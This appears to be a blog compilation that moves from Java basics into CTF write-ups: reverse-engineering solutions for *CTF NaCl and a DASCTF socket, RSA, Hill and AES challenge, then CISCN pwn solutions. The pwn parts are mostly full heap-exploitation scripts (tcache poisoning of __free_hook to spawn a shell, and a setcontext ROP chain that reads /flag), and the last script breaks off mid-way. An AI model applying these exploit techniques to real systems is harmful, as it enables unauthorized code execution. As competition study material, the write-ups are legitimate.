Java基本数据类型

学习编程语言少不了就是这些,之前学的不是很扎实,那就再学java的时候再学习一遍。

Java有两大数据类型:

1、内置数据类型

2、引用数据类型

内置数据类型

Java语言提供了八种基本数据类型,六种数字类型(四个整数型,两个浮点型),一种字符类型,还有一种布尔型。

byte:

  • byte 数据类型是8位、有符号的,以二进制补码表示的整数;
  • 最小值是 -128(-2^7)
  • 最大值是 127(2^7-1)
  • 默认值是 0
  • byte 类型用在大型数组中节约空间,主要代替整数,因为 byte 变量占用的空间只有 int 类型的四分之一;
  • 例子:byte a = 100,byte b = -50。

short:

  • short 数据类型是 16 位、有符号的以二进制补码表示的整数
  • 最小值是 -32768(-2^15)
  • 最大值是 32767(2^15 - 1)
  • Short 数据类型也可以像 byte 那样节省空间。一个short变量是int型变量所占空间的二分之一;
  • 默认值是 0
  • 例子:short s = 1000,short r = -20000。

int:

  • int 数据类型是32位、有符号的以二进制补码表示的整数;
  • 最小值是 -2,147,483,648(-2^31)
  • 最大值是 2,147,483,647(2^31 - 1)
  • 一般地整型变量默认为 int 类型;
  • 默认值是 0
  • 例子:int a = 100000, int b = -200000。

long:

  • long 数据类型是 64 位、有符号的以二进制补码表示的整数;
  • 最小值是 -9,223,372,036,854,775,808(-2^63)
  • 最大值是 9,223,372,036,854,775,807(2^63 -1)
  • 这种类型主要使用在需要比较大整数的系统上;
  • 默认值是 0L
  • 例子: long a = 100000Llong b = -200000L
    “L”理论上不分大小写,但是若写成”l”容易与数字”1”混淆,不容易分辩。所以最好大写。

float:

  • float 数据类型是单精度、32位、符合IEEE 754标准的浮点数;
  • float 在储存大型浮点数组的时候可节省内存空间;
  • 默认值是 0.0f
  • 浮点数不能用来表示精确的值,如货币;
  • 例子:float f1 = 234.5f。

double:

  • double 数据类型是双精度、64 位、符合 IEEE 754 标准的浮点数;

  • 浮点数的默认类型为 double 类型;

  • double类型同样不能表示精确的值,如货币;

  • 默认值是 0.0d

  • 例子:

    1
    2
    3
    4
    5
    double   d1  =7D;
    double d2 =7.;
    double d3 =8.0;
    double d4 =8.D;
    double d5 =12.9867;

    7 是一个 int 字面量,而 7D,7. 和 8.0 是 double 字面量。

boolean:

  • boolean数据类型表示一位的信息;
  • 只有两个取值:true 和 false;
  • 这种类型只作为一种标志来记录 true/false 情况;
  • 默认值是 false
  • 例子:boolean one = true。

char:

  • char 类型是一个单一的 16 位 Unicode 字符;
  • 最小值是 \u0000(十进制等效值为 0);
  • 最大值是 \uffff(即为 65535);
  • char 数据类型可以储存任何字符;
  • 例子:char letter = ‘A’;。

引用数据类型

在Java中,引用类型的变量非常类似于C/C++的指针。引用类型指向一个对象,指向对象的变量是引用变量。这些变量在声明时被指定为一个特定的类型,比如 Employee、Puppy 等。变量一旦声明后,类型就不能被改变了。

Java 常量

常量在程序运行时是不能被修改的。

在 Java 中使用 final 关键字来修饰常量,声明方式和变量类似:

1
final double PI = 3.1415927;

虽然常量名也可以用小写,但为了便于识别,通常使用大写字母表示常量。

自动类型转换

数据类型转换必须满足如下规则:

    1. 不能对boolean类型进行类型转换。
    1. 不能把对象类型转换成不相关类的对象。
    1. 在把容量大的类型转换为容量小的类型时必须使用强制类型转换。
    1. 转换过程中可能导致溢出或损失精度,例如:
1
2
int i =128;   
byte b = (byte)i;

因为 byte 类型是 8 位,最大值为127,所以当 int 强制转换为 byte 类型时,值 128 时候就会导致溢出。

  1. 浮点数到整数的转换是通过舍弃小数得到,而不是四舍五入,例如:

    1
    2
    (int)23.7 == 23;      
    (int)-45.89f == -45

必须满足转换前的数据类型的位数要低于转换后的数据类型,例如: short数据类型的位数为16位,就可以自动转换位数为32的int类型,同样float数据类型的位数为32,可以自动转换为64位的double类型。

1
2
3
4
5
6
7
8
9
10
public class ZiDongLeiZhuan{
public static void main(String[] args){
char c1='a';//定义一个char类型
int i1 = c1;//char自动类型转换为int
System.out.println("char自动类型转换为int后的值等于"+i1);
char c2 = 'A';//定义一个char类型
int i2 = c2+1;//char 类型和 int 类型计算
System.out.println("char类型和int计算后的值等于"+i2);
}
}

强制类型转换

    1. 条件是转换的数据类型必须是兼容的。
    1. 格式:(type)value type是要强制类型转换后的数据类型 实例:

      1
      2
      3
      4
      5
      6
      7
      public class QiangZhiZhuanHuan{
      public static void main(String[] args){
      int i1 = 123;
      byte b = (byte)i1;//强制类型转换为byte
      System.out.println("int强制类型转换为byte后的值等于"+b);
      }
      }

Java基础

概念

对象:对象是一个类的实例,有状态和行为。例如,一条狗是一个对象,它的状态有:颜色、名字、品种;行为有:摇尾巴、叫、吃等。

类:类是一个模板,它描述一类对象的行为和状态。

方法:方法就是行为,一个类可以有很多种方法。逻辑运算、数据修改以及所有动作都是在方法中完成的。

实例变量:每个对象都用独特的实例变量,对象的状态由这些实例变量的值决定。

Java程序

当然还是从最简单的hello world分析开始

1
2
3
4
5
6
7
8
public class HelloWorld {
/* 第一个Java程序
* 它将输出字符串 Hello World
*/
public static void main(String[] args) {
System.out.println("Hello World"); // 输出 Hello World
}
}

image.png

Java语法

1、大小写敏感:

2、类名:对于所有的程序来说,类名的首字母应该大写。如果类名由若干单词组成,那么每个单词的首字母应该大写,例如:MyFirstJavaClass.

3、方法名:所有的方法名都应该以小写字母开头。如果方法名含有若干单词,则后面的每个单词首字母大写。

4、源文件名:源文件名必须和类名相同。当保存文件的时候,你应该使用类名作为文件名保存(切记 Java 是大小写敏感的),文件名的后缀为 .java 。(如果文件名和类名不相同则会导致编译错误)。

5、主方法入口:所有的 Java 程序由 public static void main(String[] args) 方法开始执行。

Java 关键字

类别 关键字 说明
访问控制 private 私有的
protected 受保护的
public 公共的
default 默认
类、方法和变量修饰符 abstract 声明抽象
class
extends 扩充,继承
final 最终值,不可改变的
implements 实现(接口)
interface 接口
native 本地,原生方法(非 Java 实现)
new 新,创建
static 静态
strictfp 严格,精准
synchronized 线程,同步
transient 短暂
volatile 易失
程序控制语句 break 跳出循环
case 定义一个值以供 switch 选择
continue 继续
default 默认
do 运行
else 否则
for 循环
if 如果
instanceof 实例
return 返回
switch 根据值选择执行
while 循环
错误处理 assert 断言表达式是否为真
catch 捕捉异常
finally 有没有异常都执行
throw 抛出一个异常对象
throws 声明一个异常可能被抛出
try 捕获异常
包相关 import 引入
package
基本类型 boolean 布尔型
byte 字节型
char 字符型
double 双精度浮点
float 单精度浮点
int 整型
long 长整型
short 短整型
变量引用 super 父类,超类
this 本类
void 无返回值
保留关键字 goto 是关键字,但不能使用
const 是关键字,但不能使用

Java对象和类

java中的对象就是像我们平时看到的修勾一样,大黄,萨摩耶,斗牛犬等,每一条修勾都是一个对象。如果说一只萨摩耶是一个对像的话,那么修勾就是一个类,这样的话就很好理解了,java类中的对象有不同的状态,比如说:大黄它在睡觉,有的大黄在吃饭。(piao菜鸟教程一个图

image.png程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public class Dog {
String breed;
int size;
String colour;
int age;

void eat() {
}

void run() {
}

void sleep(){
}

void name(){
}
}

一个类可以包含以下类型变量:

  • 局部变量 :在方法、构造方法或者语句块中定义的变量被称为局部变量。变量声明和初始化都是在方法中,方法结束后,变量就会自动销毁。
  • 成员变量 :成员变量是定义在类中,方法体之外的变量。这种变量在创建对象的时候实例化。成员变量可以被类中方法、构造方法和特定类的语句块访问。
  • 类变量 :类变量也声明在类中,方法体之外,但必须声明为 static 类型。

一个类可以拥有多个方法,在上面的例子中:eat()、run()、sleep() 和 name() 都是 Dog 类的方法。

构造方法创建对象

1
2
3
4
5
6
7
8
public class PowerCat{
public PowerCat(String name){
System.out.println("猫的名字是:"+name);
}//构造一个方法
public static void main(String[] args){
PowerCat bigPowerCat = new PowerCat("大能猫");
}//创建一个类,注意命名规则
}

image.png

访问实例变量和方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public class PowerCat{
int catAge;
public PowerCat(String name){
System.out.println("猫的名字是:"+name);
}//构造一个方法

public void setAge(int age){
catAge = age;
}

public int getAge(){
System.out.println("能猫的年龄为:"+catAge);
return catAge;
}

public static void main(String[] args){
PowerCat bigPowerCat = new PowerCat("大能猫");
bigPowerCat.setAge(18);
bigPowerCat.getAge();
System.out.println("年龄:"+bigPowerCat.catAge);
}//创建一个类,注意命名规则
}

image.png

复现几道有意思的Re

2022*CTF-Re-NaCl[复现]

前言

想复现

image.png

分析去花

无壳 64位ELF文件

一开始的时候,什么也看不到,也没有提示main函数在哪里

image.png

那我们就shift+f12进行字符串查找,然后找到像是main函数的字符串

image.png

跟进

这就到了main函数

image.png

此文件是一个静态的文件

image.png

那么这几个函数就是我们的功能函数,看格式的话,就是第一个为puts函数或者printf函数,第二个应该是需要读入的函数,看参数格式就是read函数,那么我们就可以按照相应的格式进行重命名函数

image.png

可是用一个函数不知道是干什么的,它是对我们输入进行了一个处理,那么他应该就是一个加密的函数

image.png

跟进encode函数之后发现是这个样子的呜呜呜,都看不懂的样子

image.png

其实是作者加上了花呜呜,这样的话我们就需要去花是我们能够看懂这个程序

去花

主要的这个找到不太对劲的一个汇编,那么我们就先动调一步一步的去找一下

经过调试我们可以发现第一个不妥的地方

image.png

先输入一串东西

在我们enconde开始的地方下断点

image.png

首先这里是没什么花的,我们在往下去看

image.png

从这里开始,从这个nop后面非常奇怪,一大片一大片的

后面的这个跳转,总是跳转回来跳转回去

首先就是将r15-8的地址放入r15中,然后将一个8080980的地址放入r12中,然后通过r12放入到r15中去,多调几遍就会发现程序把r15当作了一个stack使用。

我们调试一下来看r15的东西,

image.png

我们发现r15里面存放的是我们输入的12345678,往下执行

执行nop后面的第一个lea

image.png

r15往上抬了8个

再执行一个lea和mov

image.png

这个时候r15中是8080980就是其下面的地址

image.png

然后我们开始jmp到后面继续跟,然后我们发现又有jmp的这个东西

又来了一遍

image.png

这样循环往复的样子

这里就是我们第一个需要去修改的地方。

然后我们再往下去执行

image.png

我们又找到了一个类似的操作,不过最后是用来跳转到某个地方

执行之后就是这个东西

image.png

image.png

执行的就是我们之前存储再r15中的内容。

然后再跳转过去,假如说我们把r15看作一个模拟的栈,这样先进后出的调用就相当于一个return的作用。

那么我们就则可以直接用现成的栈来实现这个功能,因为程序的逻辑是固定的,那么不会因为程序来扰乱了我们栈空间,所以我们用call和teurn来代替

我们需要写脚本修一下,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
start = 0x807FEC0
end = 0x8080AD1

address = [0 for i in range(5)]
callTarget = ["lea", "lea", "mov", "jmp"]
retnTarget = ["lea", "mov", "and", "lea", "jmp"]


def nop(s, e):
while (s < e):
patch_byte(s, 0x90)
s += 1

def turnCall(s, e):
# nop掉call之前的值
nop(s, e)
patch_byte(e, 0xE8)
# 把后面的花指令去掉
huaStart = next_head(e)
huaEnd = next_head(huaStart)
nop(huaStart, huaEnd)

def turnRetn(s, e):
nop(s, e)
# 注意原来是jmp xxx
# 所以前面nop掉一个 后面改成retn
patch_byte(e, 0x90)
patch_byte(e + 1, 0xC3)

p = start
while p < end:
address[0] = p
address[1] = next_head(p)
address[2] = next_head(address[1])
address[3] = next_head(address[2])
address[4] = next_head(address[3])

for i in range(0, 4):
if print_insn_mnem(address[i]) != callTarget[i]:
break
else:
turnCall(address[0], address[3])
p = next_head(next_head(address[3]))
continue

for i in range(0, 5):
if print_insn_mnem(address[i]) != retnTarget[i]:
break
else:
turnRetn(address[0], address[4])
p = next_head(next_head(address[4]))
continue

p = next_head(p)

(自己不会写跟别人要的。。。。

修复了之后就是这样的

image.png

这样的话我们再次反编译就是这样

image.png

这比之前是要好看得多哇

修复结构体

之后的内容就是修复结构体了,我们看到上面的图有许多关于v3偏移的数据,我们猜测v3应该是一个结构体,我们选中右键创建结构体,首先就用ida给的默认的结构体,之后我们还要进行相应的修改

image.png

这样看的话就好多了。

我们对此函数的逻辑进行分析,对相应的结构体进行一个重命名。

image.png

我们看到,我们需要经过4次循环,每一次处理的字节都为8,所以说我们输入的长度应该为4*8也就是32位。

encode1


我们首先跟进encode1

image.png

里面创建了结构体,在动调中我们进行一个调整

image.png

这边是一个逻辑左移,然后在动调的时候我们把异或的数组可以导出

总之,通过分析,这里面是一个完全可逆的一个加密。需要注意的是在encode1里面有一个最后的高位和低位的互换

image.png

不要忘记操作

encode2

大体看起来是不是有一些眼熟,这就是我们的xtea算法,是经过魔改的一个xtea算法,只是将德尔塔的值改变了

image.png

这样不是很直观我们就创造一个结构体去整一下

image.png

image.png

就是这个样子了

上边的key我们在动调中可以直接去提取

image.png

需要注意的是,a1是我们出进来的轮数,通常来说,xtea的轮数是固定的,这里是我们传入的。这是我们的两个魔改的点。

encode3

image.png

里面有一个qmemcpy

主要的作用就是将a2放入a1,这样的话我们就可以整一下了。

总体分析

通过前面的分析我们就可以分析一下整体的这个逻辑了

image.png

首先将我们的32位的输入,分为4组进行一个操作

第一个操作就是进行异或,然后xtea魔改加密,往后就是一个赋值check了哈哈。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
cmp = [0x66, 0xC2, 0xF5, 0xFD, 0x86, 0x82, 0x32, 0x7A, 0x04, 0x40, 0x94, 0xCE, 0xDC, 0x8A, 0xE0, 0x5D, 0x0A, 0xBD, 0xE4, 0xA6, 0xDC, 0xAD, 0xCA, 0x16, 0x0C, 0x6F, 0xCD, 0x13, 0x36, 0xD9, 0x75, 0x1A]
dword_80AFB60 = [0x4050607, 0x10203, 0x0C0D0E0F, 0x8090A0B, 0x0CD3FE81B, 0x0D7C45477, 0x9F3E9236, 0x107F187, 0x0F993CB81, 0x0BF74166C, 0x0DA198427, 0x1A05ABFF, 0x9307E5E4, 0x0CB8B0E45, 0x306DF7F5, 0x0AD300197, 0x0AA86B056, 0x449263BA, 0x3FA4401B, 0x1E41F917, 0x0C6CB1E7D, 0x18EB0D7A, 0x0D4EC4800, 0x0B486F92B, 0x8737F9F3, 0x765E3D25, 0x0DB3D3537, 0x0EE44552B, 0x11D0C94C, 0x9B605BCB, 0x903B98B3, 0x24C2EEA3, 0x896E10A2, 0x2247F0C0, 0x0B84E5CAA, 0x8D2C04F0, 0x3BC7842C, 0x1A50D606, 0x49A1917C, 0x7E1CB50C, 0x0FC27B826, 0x5FDDDFBC, 0x0DE0FC404, 0x0B2B30907]
xtea_key = [0x3020100,0x7060504,0x0b0a0908,0x0f0e0d0c]
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
def xtea_encrypt(rounds, v, k):
v0 = v[0]
v1 = v[1]
x = 0
delta = 0x10325476
for i in range(rounds):
v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
x += delta
x = x & 0xFFFFFFFF
v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v
def xtea_decrypt(rounds, v, k):
v0 = v[0]
v1 = v[1]
delta = 0x10325476
x = delta * rounds
for i in range(rounds):
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (x + k[(x >> 11) & 3])
v1 = v1 & 0xFFFFFFFF
x -= delta
x = x & 0xFFFFFFFF
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (x + k[x & 3])
v0 = v0 & 0xFFFFFFFF
v[0] = v0
v[1] = v1
return v

def crypt(plain):
res = b''
for ii in range(4):
left = int.from_bytes(plain[ii*8:ii*8+4],'big')
right= int.from_bytes(plain[ii*8+4:ii*8+8],'big')
for i in range(0x2c):
ebx = rol(left,1,32) & rol(left,8,32)
ebx ^= rol(left,2,32)
ebx ^= right
ebx ^= dword_80AFB60[i]
right = left
left = ebx
print(hex(left),hex(right))
left, right = xtea_encrypt(2**(ii+1),[right,left],xtea_key)
res += left.to_bytes(4,'little')+right.to_bytes(4,'little')
return res

def decrypt(cipher):
res = b''
for ii in range(4):
left = int.from_bytes(cipher[ii*8:ii*8+4],'little')
right= int.from_bytes(cipher[ii*8+4:ii*8+8],'little')
right, left = xtea_decrypt(2**(ii+1),[left,right],xtea_key)
for i in range(0x2b,-1,-1):
ebx = rol(right,1,32) & rol(right,8,32)
ebx ^= rol(right,2,32)
ebx ^= dword_80AFB60[i]
last_right = ebx ^ left
left = right
right = last_right
res += left.to_bytes(4,'big')+right.to_bytes(4,'big')
return res

print(decrypt(cmp))

image.png

1
*CTF{mM7pJIobsCTQPO6R0g-L8kFExhYuivBN}

2022DASCTF x SU-Re-login(Socket&RSA&Hill&AES)

前言

就是想复现

image.png

前置知识

前置知识就是这一张图,我们的两个文件一个是客户端一个是服务器端,check应该是服务器端。

image.png

代码的复原

我们看了上面的图,可以基本判定,服务器端就是check,猜测客户端的就是应该为输入数值,然后传输到TCP端进行一个check

image.png

我们将两个文件都进行一个反编译

我们先分析check,先根据start找到main函数,进行一个重命名

image.png

因为这个是一个静态链接的东西,一些函数都是作者自己写的

我们跟进函数然后去看看:

image.png

这些肯定不是作者自己去写的函数,是socket协议的一个东西,然后我们回去看刚才我们的那个流程图

image.png

然后我们往后看

image.png

image.png

发现了这样的一个函数,正对应了上面的流程图的东西,

我们就根据这个流程图去重命名一下这个函数中的流程

image.png

大概就是这样,然后我们就同理复原一下login

image.png

恢复结构体

我们可以知道在socket中,有个这样的东西

1
int bind(int sock, struct sockaddr *addr, socklen_t addrlen);  

其中有一个结构体struct sockaddr *addr,sockaddr 结构体变量的指针存储的是我们需要传输的一些信息

但是我们的ida并不知道这个结构体在哪需要我们去手动恢复一下这个结构体

image.png

修复了之后我们可以看到有些东西就十分明了了

image.png

动态调试分析socket

在动调的时候我们发现,会在这个地方强制退出,敲

image.png

(由于太菜了我去请教了一下大佬。

是因为在sin_port的地方有一个反调试,解决方法就是在remote调试的端口中,把端口改成本地存在的地方,我们通过调试的找到本地的端口。我们在上一个端口上看到了socket port端口我们跟进去看一下

image.png

port是1234

然后我们将调试的端口整成1234

这样的话我们就可以连上继续调试了

image.png

下面就可以正常的通过了bin这个检测

image.png

我们继续往下调试,一直到接受的那里

到这里我们调试不动了,这个时候我们就应该去运行我们的login文件了

image.png

image.png

然后可以继续往下调试

这里让我们输入一个token,我们先随便输入一个1234

image.png

又有密码,同样是输入1234

image.png

然后输入错了哈哈哈

image.png

然后我们发现了一处奇特的地方

image.png

像这两句话,是存在于check文件中的,而这里室友login打印出来的,所以说这样的交互就是,一句话利用socket将这句话打印出来,然后输入出入给check进行一个检查,大概就是这一个工作流程。我们也就可以通过一个这样的工作流程去逆向。

逆向获得token和passwd

我们linkstar的函数里面分析出来的函数为

image.png

我们在进入到第三个if的时候,只要是我们不让程序输出v20,那么我们就成功了

image.png

那么我们就要通过这个检测。

然后我们去看login中,同理恢复一下login的函数,大概就是这个样子。

image.png

然后的话我们就需要双线程的进行分析了。

image.png

然后到了下面,就是接受一个数据然后发送给服务器端

image.png

那这个就是第一次输入的一个token,同理也是这么接受的passwd

然后我们就是跟进刚才的那个判断。

我们先分析token_check

image.png

这里应该是一种加密,但是不知道是什么emmm,,,我们发现了10001,10001容易让我想到rsa确实,搜一下就RSA,那么我们就可以整一下进行一个加密。

image.png

然后我们进行一个rsa的解密

在线网站分解一下n

image.png

有脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2

n = 13123058934861171416713230498081453101147538789122070079961388806126697916963123413431108069961369055630747412550900239402710827847917960870358653962948282381351741121884528399369764530446509936240262290248305226552117100584726616255292963971141510518678552679033220315246377746270515853987903184512948801397452104554589803725619076066339968999308910127885089547678968793196148780382182445270838659078189316664538631875879022325427220682805580410213245364855569367702919157881367085677283124732874621569379901272662162025780608669577546548333274766058755786449491277002349918598971841605936268030140638579388226573929
p = 98197216341757567488149177586991336976901080454854408243068885480633972200382596026756300968618883148721598031574296054706280190113587145906781375704611841087782526897314537785060868780928063942914187241017272444601926795083433477673935377466676026146695321415853502288291409333200661670651818749836420808033
q = 133639826298015917901017908376475546339925646165363264658181838203059432536492968144231040597990919971381628901127402671873954769629458944972912180415794436700950304720548263026421362847590283353425105178540468631051824814390421486132775876582962969734956410033443729557703719598998956317920674659744121941513
e = 0x10001
phi = (q-1)*(p-1)
c = b'By reading we enrich the mind, by conversation we polish it.'
c = int.from_bytes(c,'little')
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)

print(m)

#11963777321199993924175387978397443935563034091716786597947508874393819454915798980986262132792605021295930274531653741552766395859285325677395421549163602968276475448835066393456449574469736327622969755801884982386140722904578598391534204834007447860153096480268812700725451958035204357033892179559153729604237187552716580637492579876006993181920209114166153317182827927606249871955662032809256743464460825303610341043145126848787575238499023185150429072724679210155061579052743238859739734301162335989939278904459012917375108407803445722785027315562371588439877746983153339473213449448259686486917983129418859935686

这样是得出了token。

再看passwd_check

是一个hill加密,套板子解出就可以了吼吼。

1
5132d202c32d95b9f978d514e3294220513b15623482b4c02e9afde8bad5ec07486a5488

这样的话我们就通过了检测

image.png

然后才来到了flag的检测。

逆向出flag

大概之后是从这里面开始,接受一串数据,就是我们输入的flag,我们发下这边只有一个接受,之前并没有send什么东西,这就是意味着在login中有一个特殊的发送

image.png

我们分析login发现在login中有一个发送

image.png

发送了一个这个东西

image.png

那么我们接受了这串数据之后就存放进了这个全局变量里面

image.png

我们再来看4058D8这个函数,跟进

image.png

分析可知,这个就是将我们得到的数据转换成数组的作用

我们上百度搜一下

这就是AES了呗哈哈哈哈。

image.png

然后我们需要找到检验的密文,那我们就知道这个函数是一个AES加密

image.png

十分生猛的AES加密,所以这里面也是比较复杂的需要分析。

image.png

分析省略,过程太复杂了呜呜呜。

最后得到的flag为

1
7026271d7bb5d404d63a72b88e6b4d63

image.png

2021ciscn华东北半决赛 wp

第五第五还行还行

pwn1-duck

浅谈glibc新版本保护机制及绕过方法 – 绿盟科技技术博客 (nsfocus.net)

按照这个思路去打,uaf tcachebin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

local = 1

if local:
p = process([b"./ld.so", b"./pwn"], env={"LD_PRELOAD":b"./libc.so.6"})
else:
p = remote(ip,port)
'''
if local:
#p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = remote(ip,port)
'''
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def choice(cho):
sla('Choice: ',cho)

def add():
choice(1)

def delete(idx):
choice(2)
sla('Idx: \n',idx)

def show(idx):
choice(3)
sla('Idx: \n',idx)

def edit(idx,size,content):
choice(4)
sla('Idx: \n',idx)
sla('Size: \n',size)
p.sendafter('Content: \n',content)

def pwn():
add()#0
#gdb.attach(p)
delete(0)
show(0)
key = u64(ru('\x0a')[-5:].ljust(8,b'\x00'))
heap_base = key*0x1000
print('heapbase='+hex(heap_base))
print('key='+hex(key))

for i in range(10):
add()
for i in range(1,9):
delete(i)
show(8)
libc_base = u64(ru('\x0a')[-6:].ljust(8,b'\x00'))-0x1f2cc0
print(hex(libc_base))

'''
0xda861 execve("/bin/sh", r13, r12)
constraints:
[r13] == NULL || r13 == NULL
[r12] == NULL || r12 == NULL

0xda864 execve("/bin/sh", r13, rdx)
constraints:
[r13] == NULL || r13 == NULL
[rdx] == NULL || rdx == NULL

0xda867 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
'''
fk = libc_base + 0x1f4560+0x60#libc.sym['__free_hook']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
og = libc_base + 0xda864

pl = p64((fk)^key)
edit(7,len(pl),pl)
add()#11
add()#12
pl = p64(og)*2
edit(12,len(pl),pl)
print(hex(fk))

li = libc_base + 0x1f4570
pl = p64(stdout^key)
delete(9)
edit(9,len(pl),pl)
#gdb.attach(p)
add()#13
add()#14
pl = p64(0)*8
edit(14,len(pl),pl)

#delete(11)

itr()

'''
i = 0
while 1:
i += 1
log.warn(str(i))
try:
pwn()
except Exception:
p.close()
if(local == 1):
p = process(binary)
else:
p = remote(ip,port)
continue
'''

if __name__ == '__main__':
pwn()

image.png

pwn2-bigduck

上一个题目加上了沙盒使用setcontext+gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#encoding = utf-8
import os
import sys
import time
from pwn import *
#from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,'\x00'))
uu64 = lambda data :u64(data.ljust(8,'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

local = 1

if local:
p = process([b"./ld.so", b"./pwn"], env={"LD_PRELOAD":b"./libc.so.6"})
#p = process('./pwn')
else:
p = remote(ip,port)
'''
if local:
#p = process(["qemu-arm", "-g", "1212", "-L", "/usr/arm-linux-gnueabi",binary])
p = process(["qemu-aarch64", "-g", "1212", "-L", "/usr/aarch64-linux-gnu/", binary])
else:
p = remote(ip,port)
'''
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def choice(cho):
sla('Choice: ',cho)

def add():
choice(1)

def delete(idx):
choice(2)
sla('Idx: \n',idx)

def show(idx):
choice(3)
sla('Idx: \n',idx)

def edit(idx,size,content):
choice(4)
sla('Idx: \n',idx)
sla('Size: \n',size)
p.sendafter('Content: \n',content)

def pwn():
add()#0
delete(0)
show(0)
key = u64(ru('\x0a')[-5:].ljust(8,b'\x00'))
heap_base = key*0x1000
print('heapbase='+hex(heap_base))
print('key='+hex(key))

for i in range(10):
add()
for i in range(1,10):
delete(i)
edit(8,9,b'a'*9)
show(8)
libc_base = u64((ru(b'\x0a')[-6:]).ljust(8,b'\x00'))-0x1e0c61
print('libc='+hex(libc_base))
#gdb.attach(p)

p_rsi_r = libc_base + 0x000000000002a4cf
open_addr = libc_base + libc.sym['open']
p_rdi_r = libc_base + 0x0000000000028a55
p_rdx_r12_r = libc_base + 0x0000000000112a51
read_addr = libc_base + libc.sym['read']
puts = libc_base +libc.sym['puts']

setcontext = libc_base + libc.sym['setcontext']+61
gev = libc_base + 0x149e60+576

orw = p64(heap_base+0x5d0) + p64(p_rsi_r) + p64(0) + p64(open_addr)
orw += p64(p_rdi_r) + p64(4) + p64(p_rsi_r) + p64(heap_base+0x400) + p64(p_rdx_r12_r) + p64(0x30)*2 + p64(read_addr)
orw += p64(p_rdi_r) + p64(heap_base+0x400) + p64(puts)+b'/flag\x00\x00'

#edit()


fk = libc_base + 0x1E24A0+0x60#libc.sym['__free_hook']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
og = libc_base + 0xda864
og1 = heap_base + 0x2a0

pl = p64(fk^key)
edit(7,len(pl),pl)
#gdb.attach(p)
add()#11
add()#12
pl = p64(gev)+p64(gev)
edit(12,len(pl),pl)
print(hex(fk))

pl = p64(heap_base+0x3b0)*2
pl1 = b'\x00'*0x20+p64(setcontext)
pl1 = pl1.ljust(0xa0,b'\x00')
pl1 += p64(heap_base+0x4c0)+p64(p_rdi_r)
edit(0,len(pl1),pl1)
edit(1,len(pl),pl)
edit(3,len(orw),orw)
edit(4,6,b'/flag\x00')

pl = p64(stdout^key)
delete(9)
